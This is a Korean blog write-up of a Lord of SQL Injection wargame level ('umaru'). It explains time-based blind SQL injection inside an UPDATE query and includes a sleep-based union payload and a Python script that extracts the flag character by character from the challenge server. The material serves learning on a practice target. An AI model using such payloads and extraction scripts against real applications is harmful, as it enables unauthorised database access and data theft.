-
[load of sql injection] umaruwebhacking/load of sql injection 2018. 11. 22. 00:09반응형
Time based blind sql injection
update 구문에서 싱글쿼터없이 flag값을 변경하려한다. 이때 or은 사용할 수 없다. =1 or sleep(5) 라면 sleep이 되기전에 1이 참?으로 이미 인식되기 때문이다. update명령어는 그렇다. 그래서 and로 시작 하는게 좋다.
(select 1 union select (ord(substring( flag from 1 for 2))>10 and sleep(5)) -> flag 첫 번째 값이 10보다 크다는게 참이면 뒤에 sleep을 실행하고 0을반환하여 오류를 낸다.
이 문제는 무조건 오류를 내어 값이 변하지 않도록 하는 것이 관건이다.
python time모듈 중요
sleep(5) -> 5초를 샌다.
substring( flag from 1 for 1 ) -> substring( flag, 1, 1 ) 서로 동일하다. -> 참고 사이트 http://naearu.tistory.com/2982717
http://tempuss.tistory.com/entry/Time-Base-SQL-Injection
Solve code
import requestsimport timeurl = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php"cookies = { "PHPSESSID" : "uu98um35otu07audr4q491v6j3" } ## 세션 IDfor i in range(1, 17):for j in range(ord('0'), 200):time1 = time.time()text = "(select 1 union select ((ord(substring(flag FROM "+str(i)+" FOR 1))="+str(j)+" ) and sleep(5)))"params = { "flag" : text }response = requests.get( url, params=params, cookies = cookies )print(text)time2 = time.time()print(time2-time1)if((time2 - time1)>5):print("Clear good Perfact"+chr(j))break반응형'webhacking > load of sql injection' 카테고리의 다른 글
[load of sql injection] Allclear (0) 2018.11.22 [load of sql injection] evil_wizard (0) 2018.11.20 [load of sql injection] hell_fire (0) 2018.11.20 [load of sql injection] dark_eyes (0) 2018.11.20 [load of sql injection] iron_golem (0) 2018.11.18